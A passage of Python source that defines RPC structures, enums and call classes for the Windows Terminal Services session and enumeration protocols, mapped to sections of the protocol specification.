USHORT),\n        ('ColorDepth', USHORT),\n        ('ProtocolType', USHORT),\n        ('KeyboardLayout', ULONG),\n        ('KeyboardType', ULONG),\n        ('KeyboardSubType', ULONG),\n        ('KeyboardFunctionKey', ULONG),\n        ('imeFileName', WCHAR_IMEFILENAME_LENGTH),\n        ('ClientDirectory', WCHAR_DIRECTORY_LENGTH),\n        ('ClientLicense', WCHAR_CLIENTLICENSE_LENGTH),\n        ('ClientModem', WCHAR_CLIENTMODEM_LENGTH),\n        ('ClientBuildNumber', ULONG),\n        ('ClientHardwareId', ULONG),\n        ('ClientProductId', USHORT),\n        ('OutBufCountHost', USHORT),\n        ('OutBufCountClient', USHORT),\n        ('OutBufLength', USHORT),\n        ('AudioDriverName', WCHAR_AUDIODRIVENAME_LENGTH),\n        ('ClientTimeZone', TS_TIME_ZONE_INFORMATION),\n        ('ClientSessionId', ULONG),\n        ('clientDigProductId', WCHAR_CLIENT_PRODUCT_ID_LENGTH),\n        ('PerformanceFlags', ULONG),\n        ('ActiveInputLocale', ULONG),\n    )  \n\nclass PWINSTATIONCLIENT(NDRPOINTER):\n    referent = (\n        ('Data', WINSTATIONCLIENT),\n    )\n\n# 2.2.2.17.1 TS_COUNTER_HEADER\nclass TS_COUNTER_HEADER(NDRSTRUCT):\n    structure = (\n        ('dwCounterID', DWORD),\n        ('bResult', BOOLEAN),\n    )\n\n# 2.2.2.17 TS_COUNTER\nclass TS_COUNTER(NDRSTRUCT):\n    structure = (\n        ('counterHead', TS_COUNTER_HEADER),\n        ('dwValue', DWORD),\n        ('startTime', LARGE_INTEGER),\n    )\n\nclass TS_COUNTER_ARRAY(NDRUniConformantArray):\n    item = TS_COUNTER\n\nclass PTS_COUNTER(NDRPOINTER):\n    referent = (\n        ('Data', TS_COUNTER_ARRAY),\n    )\n\n# 2.2.2.11 LSM_SESSIONINFO_EX_LEVEL1\nclass SESSIONFLAGS(NDRENUM):\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WTS_SESSIONSTATE_UNKNOWN    = 0xFFFFFFFF\n        WTS_SESSIONSTATE_LOCK       = 0x00000000\n        WTS_SESSIONSTATE_UNLOCK     = 0x00000001\n\nclass LSM_SESSIONINFO_EX_LEVEL1(NDRSTRUCT):\n    structure = (\n        ('SessionState', WINSTATIONSTATECLASS),\n        ('SessionFlags', SESSIONFLAGS),\n        ('SessionName', WCHAR_ARRAY_33),\n        ('DomainName', WCHAR_ARRAY_18),\n        ('UserName', WCHAR_ARRAY_21),\n        ('ConnectTime', SYSTEM_TIMESTAMP),\n        ('DisconnectTime', SYSTEM_TIMESTAMP),\n        ('LogonTime', SYSTEM_TIMESTAMP),\n        ('LastInputTime', SYSTEM_TIMESTAMP),\n        ('ProtocolDataSize', ULONG),\n        ('ProtocolData', TS_LPCHAR),\n    )\n\n# 2.2.2.10 LSM_SESSIONINFO_EX\nclass LSM_SESSIONINFO_EX(NDRUNION):\n    commonHdr = (\n        ('tag', DWORD),\n    )\n    union = {\n        1: ('LSM_SessionInfo_Level1', LSM_SESSIONINFO_EX_LEVEL1),\n    }\n    \n\n# 2.2.2.9 PLSMSESSIONINFORMATION_EX\nclass PLSMSESSIONINFORMATION_EX(NDRPOINTER):\n    referent = (\n        ('Data', LSM_SESSIONINFO_EX ),\n    )\n\n# 2.2.1.14 TNotificationId\nclass TNotificationId(NDRENUM):\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        WTS_NOTIFY_NONE                 = 0x0        #No notification\n        WTS_NOTIFY_CREATE               = 0x1        #Session creation notification\n        WTS_NOTIFY_CONNECT              = 0x2        #Session connection notification\n        WTS_NOTIFY_DISCONNECT           = 0x4        #Session disconnection notification\n        WTS_NOTIFY_LOGON                = 0x8        #Session logon notification\n        WTS_NOTIFY_LOGOFF               = 0x10       #Session logoff notification\n        WTS_NOTIFY_SHADOW_START         = 0x20       #Session shadow start notification\n        WTS_NOTIFY_SHADOW_STOP          = 0x40       #Session shadow stop notification \n        WTS_NOTIFY_TERMINATE            = 0x80       #Session termination notification\n        WTS_NOTIFY_CONSOLE_CONNECT      = 0x100      #Console session connection notification\n        WTS_NOTIFY_CONSOLE_DISCONNECT   = 0x200      #Console session disconnect notification\n        WTS_NOTIFY_LOCK                 = 0x400      #Session lock notification\n        WTS_NOTIFY_UNLOCK               = 0x800      #Session unlock notification\n        WTS_NOTIFY_ALL                  = 0xffffffff #All notifications\n\n# 2.2.2.42 SESSION_CHANGE\nclass SESSION_CHANGE(NDRSTRUCT):\n    structure = (\n        ('SessionId', LONG),\n        ('TNotificationId', TNotificationId),\n    )\n    \nclass SESSION_CHANGE_ARRAY(NDRUniConformantArray):\n    item = SESSION_CHANGE\n\nclass PSESSION_CHANGE(NDRPOINTER):\n    referent = (\n        ('Data', SESSION_CHANGE_ARRAY),\n    )\n\n\n# 2.2.2.18.1 CALLBACKCLASS\nclass CALLBACKCLASS(NDRENUM):\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        Callback_Disable = 0\n        Callback_Roving  = 1\n        Callback_Fixed   = 2\n\n# 2.2.2.18 USERCONFIG\nclass USERCONFIG(NDRSTRUCT):\n    class FLAGS(NDRSTRUCT):\n        # a little hack to extrack bit flags\n        structure = (\n            ('flags','7s=b\"\"'),\n        )\n        def __getitem__(self, key):\n            if key == 'flags':\n                # Hope that works as intended. If no, try to parse less data in that 7byte array\n                flagsInt = int.from_bytes(self.fields[key][:],'little')\n                tmp  = [('fInheritAutoLogon'             ,1),\n                        ('fInheritResetBroken'           ,1),\n                        ('fInheritReconnectSame'         ,1),\n                        ('fInheritInitialProgram'        ,1),\n                        ('fInheritCallback'              ,1),\n                        ('fInheritCallbackNumber'        ,1),\n                        ('fInheritShadow'                ,1),\n                        ('fInheritMaxSessionTime'        ,1),\n                        ('fInheritMaxDisconnectionTime'  ,1),\n                        ('fInheritMaxIdleTime'           ,1),\n                        ('fInheritAutoClient'            ,1),\n                        ('fInheritSecurity'              ,1),\n                        ('fPromptForPassword'            ,1),\n                        ('fResetBroken'                  ,1),\n                        ('fReconnectSame'                ,1),\n                        ('fLogonDisabled'                ,1),\n                        ('fWallPaperDisabled'            ,1),\n                        ('fAutoClientDrives'             ,1),\n                        ('fAutoClientLpts'               ,1),\n                        ('fForceClientLptDef'            ,1),\n                        ('fRequireEncryption'            ,1),\n                        ('fDisableEncryption'            ,1),\n                        ('fUnused1'                      ,1),\n                        ('fHomeDirectoryMapRoot'         ,1),\n                        ('fUseDefaultGina'               ,1),\n                        ('fCursorBlinkDisabled'          ,1),\n                        ('fPublishedApp'                 ,1),\n                        ('fHideTitleBar'                 ,1),\n                        ('fMaximize'                     ,1),\n                        ('fDisableCpm'                   ,1),\n                        ('fDisableCdm'                   ,1),\n                        ('fDisableCcm'                   ,1),\n                        ('fDisableLPT'                   ,1),\n                        ('fDisableClip'                  ,1),\n                        ('fDisableExe'                   ,1),\n                        ('fDisableCam'                   ,1),\n                        ('fDisableAutoReconnect'         ,1),\n                        ('ColorDepth'                    ,3),\n                        ('fInheritColorDepth'            ,1),\n                        ('fErrorInvalidProfile'          ,1),\n                        ('fPasswordIsScPin'              ,1),\n                        ('fDisablePNPRedir'              ,1)\n                    ]\n                keys = {}\n                for k,bits in tmp:\n                    if bits == 1:\n                        keys[k] = flagsInt & 1\n                    else:\n                        keys[k] = flagsInt & ((1<<bits)-1)\n                    flagsInt >>= bits\n                return keys\n            else:\n                return NDR.__getitem__(self,key)\n\n    structure = (\n        # I have no idea to to do it properly, so i'm parsing bit flags inside another structure class\n        ('flags', FLAGS),\n        ('UserName', WCHAR_USERNAME_LENGTH),\n        ('Domain', WCHAR_DOMAIN_LENGTH),\n        ('Password', WCHAR_PASSWORD_LENGTH),\n        ('WorkDirectory', WCHAR_DIRECTORY_LENGTH),\n        ('InitialProgram', WCHAR_INITIALPROGRAM_LENGTH),\n        ('CallbackNumber', WCHAR_CALLBACK_LENGTH),\n        ('Callback', CALLBACKCLASS),\n        ('Shadow', SHADOWCLASS),\n        ('MaxConnectionTime', ULONG),\n        ('MaxDisconnectionTime', ULONG),\n        ('MaxIdleTime', ULONG),\n        ('KeyboardLayout', ULONG),\n        ('MinEncryptionLevel', BYTE),\n        ('NWLogonServer', WCHAR_NASIFILESERVER_LENGTH),\n        ('PublishedName', WCHAR_MAX_BR_NAME),\n        ('WFProfilePath', WCHAR_DIRECTORY_LENGTH),\n        ('WFHomeDir', WCHAR_DIRECTORY_LENGTH),\n        ('WFHomeDirDrive', WCHAR_ARRAY_4),\n    )\n\n\nclass OEMId(NDRSTRUCT):\n    structure = (\n        ('OEMId', '4s=\"\"'),\n    )\n# 2.2.2.30.1 WINSTATIONCONFIG\nclass WINSTATIONCONFIG(NDRSTRUCT):\n    pass\n    structure = (\n        ('Comment', WCHAR_WINSTATIONCOMMENT_LENGTH),\n        ('User', USERCONFIG),\n        ('OEMId', OEMId),\n    )\nclass PWINSTATIONCONFIG(NDRPOINTER):\n    referent = (\n        ('Data', WINSTATIONCONFIG),\n    )\n\n#NOT_IMPLEMETED 2.2.2.20.1.2 PROTOCOLCOUNTERS\nclass PROTOCOLCOUNTERS(NDRSTRUCT):\n    pass\n\n\n#NOT_IMPLEMENTED 2.2.2.20.1.3 CACHE_STATISTICS\nclass CACHE_STATISTICS(NDRSTRUCT):\n    pass\n\n#NOT_IMPLEMENTED 2.2.2.20.1 PROTOCOLSTATUS\nclass PROTOCOLSTATUS(NDRSTRUCT):\n    pass\n\nclass PPROTOCOLSTATUS(NDRPOINTER):\n    referent = (\n        ('Data', PROTOCOLSTATUS),\n    )\n\n# 2.2.2.43 RCM_REMOTEADDRESS\nclass IPv4ADDRESS(NDRSTRUCT):\n    structure = (\n        ('Data', '<L'),\n    )\n    def __getitem__(self, key):\n        if key == 'Data':\n            x = self.fields[key]\n            y = []\n            while x:\n               y += [str(x & 0xff)]\n               x >>= 8\n            return '.'.join(y)\n        else:\n            return super().__getitem__(key)\n\nclass RCM_REMOTEADDRESS_UNION_CASE_IPV4(NDRSTRUCT):\n    class _4CHAR(NDRSTRUCT):\n        structure = (\n            ('sin_zero', '4s=b\"\"'),\n        )    \n    structure = (\n        ('sin_port', USHORT),\n        ('sin_port2', USHORT),\n        ('in_addr', IPv4ADDRESS),\n        ('sin_zero', _4CHAR),\n    )\n\nclass RCM_REMOTEADDRESS_UNION_CASE_IPV6(NDRSTRUCT):\n    class _8CHAR(NDRSTRUCT):\n        structure = (\n            ('sin_zero', '8s=b\"\"'),\n        )    \n    structure = (\n        ('sin_port', USHORT),\n        ('in_addr', ULONG),\n        ('sin_zero', _8CHAR),\n        ('sin6_scope_id', ULONG),\n    )\n\nclass RCM_REMOTEADDRESS(NDRUNION):\n    commonHdr = (\n        ('tag', USHORT),\n    )\n    union = {\n        2 : ('ipv4', RCM_REMOTEADDRESS_UNION_CASE_IPV4),\n        23: ('ipv6', RCM_REMOTEADDRESS_UNION_CASE_IPV6),\n    }\n\nclass pResult_ENUM(NDRENUM):\n    structure = (\n        ('Data', '<L'),\n    )\n    class enumItems(Enum):\n        STATUS_SUCCESS                                      = 0x00000000     # Successful call.\n        STATUS_INVALID_PARAMETER                            = 0xC000000D\n        STATUS_CANCELLED                                    = 0xC0000120     # The server is shutting down.\n        STATUS_INVALID_INFO_CLASS                           = 0xC0000003\n        STATUS_NO_MEMORY                                    = 0xC0000017     # Not enough memory to complete the operation\n        STATUS_ACCESS_DENIED                                = 0xC0000022\n        STATUS_BUFFER_TOO_SMALL                             = 0xC0000023\n        STATUS_NOT_IMPLEMENTED                              = 0xC0000002\n        STATUS_INFO_LENGTH_MISMATCH                         = 0xC0000004\n        STATUS_UNSUCCESSFUL                                 = 0xC0000001\n        STATUS_CTX_WINSTATION_NOT_FOUND                     = 0xC00A0015\n        STATUS_WRONG_PASSWORD                               = 0xC000006A\n        DOES_NOT_EXISTS_OR_INSUFFICIENT_PERMISSIONS         = 0x80071B6E\n        INVALID_PARAMETER2                                  = 0x80070057\n        ERROR_ACCESS_DENIED                                 = 0x80070005\n        ERROR_INVALID_STATE                                 = 0x8007139f\n        ERROR_LOGON_FAILURE                                 = 0x8007052e\n        ERROR_FILE_NOT_FOUND                                = 0x80070002\n        ERROR_STATUS_BUFFER_TOO_SMALL                       = 0x8007007A\n\n\n\n# 2.2.2.15.1 TS_SYS_PROCESS_INFORMATION\nclass TS_SYS_PROCESS_INFORMATION(NDRSTRUCT):\n    structure = (\n         ('NextEntryOffset', ULONG),\n         ('NumberOfThreads', ULONG),\n         ('SpareLi1', LARGE_INTEGER),\n         ('SpareLi2', LARGE_INTEGER),\n         ('SpareLi3', LARGE_INTEGER),\n         ('CreateTime', LARGE_INTEGER),\n         ('UserTime', LARGE_INTEGER),\n         ('KernelTime', LARGE_INTEGER),\n         ('ImageNameSize', RPC_UNICODE_STRING), \n         ('BasePriority', LONG),\n         ('UniqueProcessId', DWORD),\n         ('InheritedFromUniqueProcessId', DWORD),\n         ('HandleCount', ULONG),\n         ('SessionId', ULONG),\n         ('SpareUl3', ULONG),\n         ('PeakVirtualSize', ULONG), #SIZE_T\n         ('VirtualSize', ULONG), #SIZE_T\n         ('PageFaultCount', ULONG),\n         ('PeakWorkingSetSize', ULONG),\n         ('WorkingSetSize', ULONG),\n         ('QuotaPeakPagedPoolUsage', ULONG), #SIZE_T\n         ('QuotaPagedPoolUsage', ULONG), #SIZE_T\n         ('QuotaPeakNonPagedPoolUsage', ULONG), #SIZE_T\n         ('QuotaNonPagedPoolUsage', ULONG), #SIZE_T\n         ('PagefileUsage', ULONG), #SIZE_T\n         ('PeakPagefileUsage', ULONG), #SIZE_T\n         ('PrivatePageCount', ULONG), #SIZE_T\n         ('ImageName', WSTR_STRIPPED), # THIS SHOULD NOT BE HERE\n         ('pSid', SID), # THIS SHOULD NOT BE HERE\n    )\n\n\nclass PTS_SYS_PROCESS_INFORMATION(NDRPOINTER):\n    referent = (\n        ('Data', TS_SYS_PROCESS_INFORMATION),\n    )\n\n# 2.2.2.15 TS_ALL_PROCESSES_INFO\nclass TS_ALL_PROCESSES_INFO(NDRSTRUCT):\n    structure = (\n        ('pTsProcessInfo', TS_SYS_PROCESS_INFORMATION),\n        ('SizeOfSid', DWORD),\n        ('pSid', TS_CHAR),\n    )\n \nclass TS_ALL_PROCESSES_INFO_ARRAY(NDRUniConformantVaryingArray):\n    item = TS_SYS_PROCESS_INFORMATION\n\nclass PTS_ALL_PROCESSES_INFO(NDRPOINTER):\n    referent = (\n        ('Data', TS_ALL_PROCESSES_INFO_ARRAY),\n    )    \n\n\n#NOT_IMPLEMENTED 2.2.2.30 WINSTATIONCONFIG2\nclass WINSTATIONCONFIG2(NDRSTRUCT):\n    pass\n\n#NOT_IMPLEMENTED 2.2.2.44 CLIENT_STACK_ADDRESS\nclass CLIENT_STACK_ADDRESS(NDRSTRUCT):\n    pass\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# 3.3.4.1 TermSrvSession Methods 484809d6-4239-471b-b5bc-61df8c23ac48 \\pipe\\LSM_API_service\n# 3.3.4.1.1 RpcOpenSession (Opnum 0)\nclass RpcOpenSession(NDRCALL):\n    opnum = 0\n    structure = (\n        ('SessionId', ULONG),\n        ('phSession', handle_t),\n    )\n\nclass RpcOpenSessionResponse(NDRCALL):\n    structure = (\n        ('phSession', SESSION_HANDLE),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.2 RpcCloseSession (Opnum 1)\nclass RpcCloseSession(NDRCALL):\n    opnum = 1\n    structure = (\n        ('phSession', SESSION_HANDLE),\n    )\n\nclass RpcCloseSessionResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.3 RpcConnect (Opnum 2)\nclass RpcConnect(NDRCALL):\n    opnum = 2\n    structure = (\n        ('hSession', SESSION_HANDLE),\n        ('TargetSessionId', LONG),\n        ('szPassword', WSTR)\n    )\n\nclass RpcConnectResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.4 RpcDisconnect (Opnum 3)\nclass RpcDisconnect(NDRCALL):\n    opnum = 3\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcDisconnectResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.5 RpcLogoff (Opnum 4)\nclass RpcLogoff(NDRCALL):\n    opnum = 4\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcLogoffResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.6 RpcGetUserName (Opnum 5)\nclass RpcGetUserName(NDRCALL):\n    opnum = 5\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcGetUserNameResponse(NDRCALL):\n    structure = (\n        ('pszUserName', LPWCHAR_STRIPPED\n        ),\n        ('pszDomain', LPWCHAR_STRIPPED),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.7 RpcGetTerminalName (Opnum 6)\nclass RpcGetTerminalName(NDRCALL):\n    opnum = 6\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcGetTerminalNameResponse(NDRCALL):\n    structure = (\n        ('pszTerminalName', LPWCHAR_STRIPPED),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.8 RpcGetState (Opnum 7)\nclass RpcGetState(NDRCALL):\n    opnum = 7\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcGetStateResponse(NDRCALL):\n    structure = (\n        ('plState', WINSTATIONSTATECLASS),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.9 RpcIsSessionDesktopLocked (Opnum 8)\nclass RpcIsSessionDesktopLocked(NDRCALL):\n    opnum = 8\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcIsSessionDesktopLockedResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.10 RpcShowMessageBox (Opnum 9)\nclass RpcShowMessageBox(NDRCALL):\n    opnum = 9\n    structure = (\n        ('hSession', SESSION_HANDLE),\n        ('szTitle', WSTR),\n        ('szMessage', WSTR),\n        ('ulStyle', ULONG),\n        ('ulTimeout', ULONG),\n        ('bDoNotWait', BOOL),\n    )\n\nclass RpcShowMessageBoxResponse(NDRCALL):\n    structure = (\n        ('pulResponse', MSGBOX_ENUM),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.11 RpcGetTimes (Opnum 10)\nclass RpcGetTimes(NDRCALL):\n    opnum = 10\n    structure = (\n        ('hSession', SESSION_HANDLE),\n    )\n\nclass RpcGetTimesResponse(NDRCALL):\n    structure = (\n        ('pConnectTime', SYSTEM_TIMESTAMP),\n        ('pDisconnectTime', SYSTEM_TIMESTAMP),\n        ('pLogonTime', SYSTEM_TIMESTAMP),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.12 RpcGetSessionCounters (Opnum 11)\nclass RpcGetSessionCounters(NDRCALL):\n    opnum = 11\n    structure = (\n        ('hBinding', handle_t),\n        ('uEntries', LONG),\n    )\n\nclass RpcGetSessionCountersResponse(NDRCALL):\n    structure = (\n        ('pCounter', PTS_COUNTER),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.13 RpcGetSessionInformation (Opnum 12)\nclass RpcGetSessionInformation(NDRCALL):\n    opnum = 12\n    structure = (\n        ('SessionId', LONG),\n    )\nclass RpcGetSessionInformationResponse(NDRCALL):\n    structure = (\n        ('pSessionInfo', LSMSESSIONINFORMATION),\n        ('ErrorCode', ULONG),\n    )\n\n#OLD 3.2.4.1.14 RpcSwitchToServicesSession (Opnum 13)\nclass RpcSwitchToServicesSession(NDRCALL):\n    opnum = 13\n    structure = (\n        ('hBinding', handle_t),\n    )\n\nclass RpcSwitchToServicesSessionResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n#OLD 3.2.4.1.15 RpcRevertFromServicesSession (Opnum 14)\nclass RpcRevertFromServicesSession(NDRCALL):\n    opnum = 14\n    structure = (\n        ('hBinding', handle_t),\n    )\n\nclass RpcRevertFromServicesSessionResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.14 RpcGetLoggedOnCount (Opnum 15)\nclass RpcGetLoggedOnCount(NDRCALL):\n    opnum = 15\n    structure = (\n        ('hBinding', handle_t),\n    )\n\nclass RpcGetLoggedOnCountResponse(NDRCALL):\n    structure = (\n        ('pUserSessions', ULONG),\n        ('pDeviceSessions', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.15 RpcGetSessionType (Opnum 16)\nclass RpcGetSessionType(NDRCALL):\n    opnum = 16\n    structure = (\n        ('SessionId', LONG),\n    )\n\nclass RpcGetSessionTypeResponse(NDRCALL):\n    structure = (\n        ('pSessionType', SESSIONTYPE),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.1.16 RpcGetSessionInformationEx (Opnum 17)\nclass RpcGetSessionInformationEx(NDRCALL):\n    opnum = 17\n    structure = (\n        ('SessionId', LONG),\n        ('Level', DWORD),\n    )\n\nclass RpcGetSessionInformationExResponse(NDRCALL):\n    structure = (\n        ('LSMSessionInfoExPtr', PLSMSESSIONINFORMATION_EX),\n        ('ErrorCode', ULONG),\n    )\n\n\n# 3.3.4.2 TermSrvNotification (LSM Notification); \\PIPE\\LSM_API_service; 11899a43-2b68-4a76-92e3-a3d6ad8c26ce\n# 3.3.4.2.1 RpcWaitForSessionState (Opnum 0)\nclass RpcWaitForSessionState(NDRCALL):\n    opnum = 0\n    structure = (\n        ('SessionId', LONG),\n        ('State', LONG),\n        ('Timeout', ULONG),\n    )\n\nclass RpcWaitForSessionStateResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.2.2 RpcRegisterAsyncNotification (Opnum 1)\nclass RpcRegisterAsyncNotification(NDRCALL):\n    opnum = 1\n    structure = (\n        ('SessionId', LONG),\n        ('Mask', ULONG),\n    )\n\nclass RpcRegisterAsyncNotificationResponse(NDRCALL):\n    structure = (\n        ('phNotify', NOTIFY_HANDLE),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.2.3 RpcWaitAsyncNotification (Opnum 2)\nclass RpcWaitAsyncNotification(NDRCALL):\n    opnum = 2\n    structure = (\n        ('hNotify', context_handle),\n    )\n\nclass RpcWaitAsyncNotificationResponse(NDRCALL):\n    structure = (\n        ('SessionChange', PSESSION_CHANGE),\n        ('pEntries', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.2.4 RpcUnRegisterAsyncNotification (Opnum 3)\nclass RpcUnRegisterAsyncNotification(NDRCALL):\n    opnum = 3\n    structure = (\n        ('hNotify', NOTIFY_HANDLE),\n    )\n\nclass RpcUnRegisterAsyncNotificationResponse(NDRCALL):\n    structure = (\n        ('hNotify', NOTIFY_HANDLE),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.3 TermSrvEnumeration; 88143fd0-c28d-4b2b-8fef-8d882f6a9390; \\pipe\\LSM_API_service\n# 3.3.4.3.1 RpcOpenEnum (Opnum 0)\nclass RpcOpenEnum(NDRCALL):\n    opnum = 0\n    structure = (\n        ('hBinding', handle_t),\n    )\nclass RpcOpenEnumResponse(NDRCALL):\n    structure = (\n        ('phEnum', ENUM_HANDLE),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.3.2 RpcCloseEnum (Opnum 1)\nclass RpcCloseEnum(NDRCALL):\n    opnum = 1\n    structure = (\n        ('phEnum', ENUM_HANDLE),\n    )\nclass RpcCloseEnumResponse(NDRCALL):\n    structure = (\n        ('phEnum', ENUM_HANDLE),\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_TESTED 3.3.4.3.3 RpcFilterByState (Opnum 2)\nclass RpcFilterByState(NDRCALL):\n    opnum = 2\n    structure = (\n        ('hEnum', ENUM_HANDLE),\n        ('State', LONG),\n        ('bInvert', BOOL),\n    )\nclass RpcFilterByStateResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_TESTED 3.3.4.3.4 RpcFilterByCallersName (Opnum 3)\nclass RpcFilterByCallersName(NDRCALL):\n    opnum = 3\n    structure = (\n        ('hEnum', ENUM_HANDLE),\n    )\nclass RpcFilterByCallersNameResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_TESTED 3.3.4.3.5 RpcEnumAddFilter (Opnum 4)\nclass RpcEnumAddFilter(NDRCALL):\n    opnum = 4\n    structure = (\n        ('hEnum', ENUM_HANDLE),\n        ('hSubEnum', ENUM_HANDLE),\n    )\nclass RpcEnumAddFilterResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.3.6 RpcGetEnumResult (Opnum 5)\nclass RpcGetEnumResult(NDRCALL):\n    opnum = 5\n    structure = (\n        ('hEnum', ENUM_HANDLE),\n        ('Level', DWORD),\n    )\n\nclass RpcGetEnumResultResponse(NDRCALL): # strange double tag in union\n    structure = (\n        ('ppSessionEnumResult', PSESSIONENUM),\n        ('pEntries', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_TESTED 3.3.4.3.7 RpcFilterBySessionType (Opnum 6)\nclass RpcFilterBySessionType(NDRCALL):\n    opnum = 6\n    structure = (\n        ('hEnum', ENUM_HANDLE),\n        ('pSessionType', GUID), # The session GUID to be used to filter out the enumeration result.\n                                # Only the session with the specified GUID will be returned\n    )\nclass RpcFilterBySessionTypeResponse(NDRCALL):\n    structure = (\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_TESTED 3.3.4.3.8 RpcGetSessionIds (Opnum 8)\nclass RpcGetSessionIds(NDRCALL):\n    opnum = 8\n    structure = (\n        ('handle_t', handle_t),\n        ('Filter', SESSION_FILTER), # who knows... \n        ('MaxEntries', ULONG),\n    )\nclass RpcGetSessionIdsResponse(NDRCALL):\n    structure = (\n        ('pSessionIds', LONG_ARRAY),\n        ('pcSessionIds', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.3.9 RpcGetEnumResultEx (Opnum 9)\nclass RpcGetEnumResultEx(NDRCALL):\n    opnum = 9\n    structure = (\n        ('hEnum', ENUM_HANDLE),\n        ('Level', DWORD),\n    )\n\nclass RpcGetEnumResultExResponse(NDRCALL):\n    structure = (\n        ('ppSessionEnumResult', PSESSIONENUM),\n        ('pEntries', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.3.4.3.10 RpcGetAllSessions (Opnum 10)\nclass RpcGetAllSessions(NDRCALL):\n    opnum = 10\n    structure = (\n        ('pLevel', ULONG),\n    )\n\nclass RpcGetAllSessionsResponse(NDRCALL):\n    # strange double tag in union\n    structure = (\n        ('pLevel', ULONG),\n        ('ppSessionData', PEXECENVDATA),\n        ('pcEntries', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_IMPLEMENTED 3.3.4.3.11 RpcGetAllSessionsEx (Opnum 11)\nclass RpcGetAllSessionsEx(NDRCALL):\n    opnum = 11\n    structure = (\n        ('Level', ULONG),\n    )\n\nclass RpcGetAllSessionsExResponse(NDRCALL):\n    # giving up to parse it\n    structure = (\n        ('Buffer', UNKNOWNDATA),\n    )\n    \n# 3.5.4.1 RCMPublic bde95fdf-eee0-45de-9e12-e5a61cd0d4fe \\pipe\\TermSrv_API_service\n# 3.5.4.1.1 RpcGetClientData (Opnum 0)\nclass RpcGetClientData(NDRCALL):\n    opnum = 0\n    structure = (\n        ('SessionId', ULONG),\n    )\n\nclass RpcGetClientDataResponse(NDRCALL):\n    structure = (\n        ('ppBuff', PWINSTATIONCLIENT),\n        ('pOutBuffByteLen', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.1.2 RpcGetConfigData (Opnum 1)\nclass RpcGetConfigData(NDRCALL):\n    opnum = 1\n    structure = (\n        ('SessionId', ULONG),\n    )\n\nclass RpcGetConfigDataResponse(NDRCALL):\n    # Note: there is a probability of wrong flags parsing.\n    structure = (\n        ('ppBuff', PWINSTATIONCONFIG),\n        ('pOutBuffByteLen', ULONG),\n        ('ErrorCode', ULONG),\n    )\n\n#NOT_IMPLEMENTED 3.5.4.1.3 RpcGetProtocolStatus (Opnum 2)\nclass RpcGetProtocolStatus(NDRCALL):\n    opnum = 2\n    structure = (\n        ('SessionId', ULONG),\n        ('InfoType', PROTOCOLSTATUS_INFO_TYPE),\n    )\n\nclass RpcGetProtocolStatusResponse(NDRCALL):\n    structure = (\n        ('ppProtoStatus', PROTOCOLSTATUS_INFO_TYPE),\n        ('pcbProtoStatus', PPROTOCOLSTATUS),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.1.4 RpcGetLastInputTime (Opnum 3)\nclass RpcGetLastInputTime(NDRCALL):\n    opnum = 3\n    structure = (\n        ('SessionId', ULONG),\n    )\n\nclass RpcGetLastInputTimeResponse(NDRCALL):\n    structure = (\n        ('pLastInputTime', SYSTEM_TIMESTAMP),\n        ('ErrorCode', ULONG),\n    )\n\n# 3.5.4.1.5 RpcGetRemoteAddress (Opnum 4)\nclass RpcGetRemoteAddress(NDRCALL):\n    opnum = 4\n    structure = (\n        ('SessionId', ULONG),\n    )\n\nclass RpcGetRemoteAddressResponse(NDRCALL):\n    structure = (\n        ('pRemoteAddress', RCM_REMOTEADDRESS),\n        ('ErrorCode', ULONG),\n    )\n\n\n# 3.5.4.1.6 RpcShadow2 (Opnum 0)\nclass RpcShadow2(NDRCALL):\n    opnum = 0\n    structure = 